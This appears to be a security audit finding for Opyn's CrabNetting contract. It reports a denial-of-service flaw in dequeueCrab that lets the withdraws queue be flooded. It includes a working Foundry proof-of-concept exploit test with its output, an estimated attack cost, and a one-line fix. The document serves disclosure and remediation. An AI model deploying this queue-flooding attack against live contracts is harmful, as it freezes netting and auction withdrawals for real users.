KingNFT

medium

# The 'withdraws' queue is susceptible to DDoS attack

## Summary
The 'minCrabAmount' constraint can be bypassed, causes the 'withdraws' queue is susceptible to DDoS attack.
After the attack, the contract will be unavailable and can not be recovered.

## Vulnerability Detail
The vulnerability point:
```solidity
function dequeueCrab(uint256 _amount) external {
    require(!isAuctionLive, "auction is live");
    crabBalance[msg.sender] = crabBalance[msg.sender] - _amount;
    require(
        crabBalance[msg.sender] >= minCrabAmount || crabBalance[msg.sender] == 0,
        "remaining amount smaller than minimum, consider removing full balance"
    );
    uint256 toRemove = _amount;
    uint256 lastIndexP1 = userWithdrawsIndex[msg.sender].length;
    for (uint256 i = lastIndexP1; i > 0; i--) {
        Receipt storage r = withdraws[userWithdrawsIndex[msg.sender][i - 1]]; 
        if (r.amount > toRemove) {
            r.amount -= toRemove;
            // @audit miss check: require(r.amount >= minCrabAmount);
            toRemove = 0;
            break;
        } else {
            toRemove -= r.amount;
            delete withdraws[userWithdrawsIndex[msg.sender][i - 1]];
        }
    }
    IERC20(crab).transfer(msg.sender, _amount);
    emit CrabDeQueued(msg.sender, _amount, crabBalance[msg.sender]);
}
```

Exploit it to execute DDos attack:
Put the following test case to DDosAttackOnWithdrawsQueue.t.sol file of test directory
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {BaseForkSetup} from "./BaseForkSetup.t.sol";

contract DDosAttackOnWithdrawsQueue is BaseForkSetup {
    uint256 internal attackerPk;
    address internal attacker;

    function setUp() public override {
        BaseForkSetup.setUp();
        attackerPk = 0xB11CE;
        attacker = vm.addr(attackerPk);
        vm.label(attacker, "attacker");
        vm.deal(attacker, 1e18);

        vm.prank(0x06CECFbac34101aE41C88EbC2450f8602b3d164b);
        crab.transfer(withdrawer, 1e18);

        vm.prank(0x57757E3D981446D585Af0D9Ae4d7DF6D64647806);
        usdc.transfer(depositor, 20e6);

        vm.prank(0x06CECFbac34101aE41C88EbC2450f8602b3d164b);
        crab.transfer(attacker, 1e18);
    }

    function testDDosAttackOnWithdrawsQueue() public {
        netting.setMinCrab(1e16);
        vm.startPrank(attacker);
        crab.approve(address(netting), type(uint256).max);
        netting.queueCrabForWithdrawal(1e16);
        for (uint256 i; i < 3200; ++i) {
            // @audit bypass miminum queue amount requirement
            netting.queueCrabForWithdrawal(1e16 + 1);
            netting.dequeueCrab(1e16);
        }
        vm.stopPrank();
        _testForkTestNetAtPrice();
    }

    // @audit a success test case from ForkTestNetAtPrice.sol in normal scene
    // @audit but it will fail while there is a DDoS attack on deposits queue
    function _testForkTestNetAtPrice() public {
        vm.startPrank(depositor);
        usdc.approve(address(netting), 17e6);
        netting.depositUSDC(17e6);
        vm.stopPrank();

        vm.startPrank(withdrawer);
        crab.approve(address(netting), 1e18);
        netting.queueCrabForWithdrawal(1e18);
        vm.stopPrank();

        assertEq(usdc.balanceOf(withdrawer), 0);
        assertEq(crab.balanceOf(depositor), 0);
        uint256 priceToNet = 1336290000;
        uint256 quantityToNet = 16840842;
        
        vm.expectRevert(); // @audit revert due to exceed max allowed gas of block
        uint256 gasBefore = gasleft();
        netting.netAtPrice{gas: 30_000_000}(priceToNet, quantityToNet);
        uint256 gasAfter = gasleft();
        console.log("gas used:", gasBefore - gasAfter);


        /*
        assertApproxEqAbs(usdc.balanceOf(withdrawer), quantityToNet, 1); // withdrawer gets that amount
        uint256 crabReceived = (quantityToNet * 1e18) / priceToNet;
        assertEq(crab.balanceOf(depositor), crabReceived); // depositor gets 0.01265755 crab
        assertEq(netting.crabBalance(withdrawer), 1e18 - crabReceived); // ensure crab remains
        */
    }
}

```

And run
```solidity
forge test --match-test testDDosAttackOnWithdrawsQueue -vv
```

Result
```solidity
Running 1 test for test/DDosAttackOnWithdrawsQueue.t.sol:DDosAttackOnWithdrawsQueue
[PASS] testDDosAttackOnWithdrawsQueue() (gas: 246021642)
Logs:
  gas used: 29998292

Test result: ok. 1 passed; 0 failed; finished in 1.62s
```

Attack gas cost is about
```solidity
1 ~ 2 ETH
```

## Impact
The following functions will always revert after the attack
```solidity
function netAtPrice(uint256 _price, uint256 _quantity) external;
function withdrawAuction(WithdrawAuctionParams calldata _p) public;
```

## Code Snippet
https://github.com/sherlock-audit/2022-11-opyn/blob/main/crab-netting/src/CrabNetting.sol#L323

## Tool used

Manual Review

## Recommendation
```solidity
function dequeueCrab(uint256 _amount) external {
    // ...
    for (uint256 i = lastIndexP1; i > 0; i--) {
        Receipt storage r = withdraws[userWithdrawsIndex[msg.sender][i - 1]]; 
        if (r.amount > toRemove) {
            r.amount -= toRemove;
            require(r.amount >= minCrabAmount, "invalid dequeue amount"); // @fix
            toRemove = 0;
            break;
        } else {
            // ...
        }
    }
    // ...
}
```
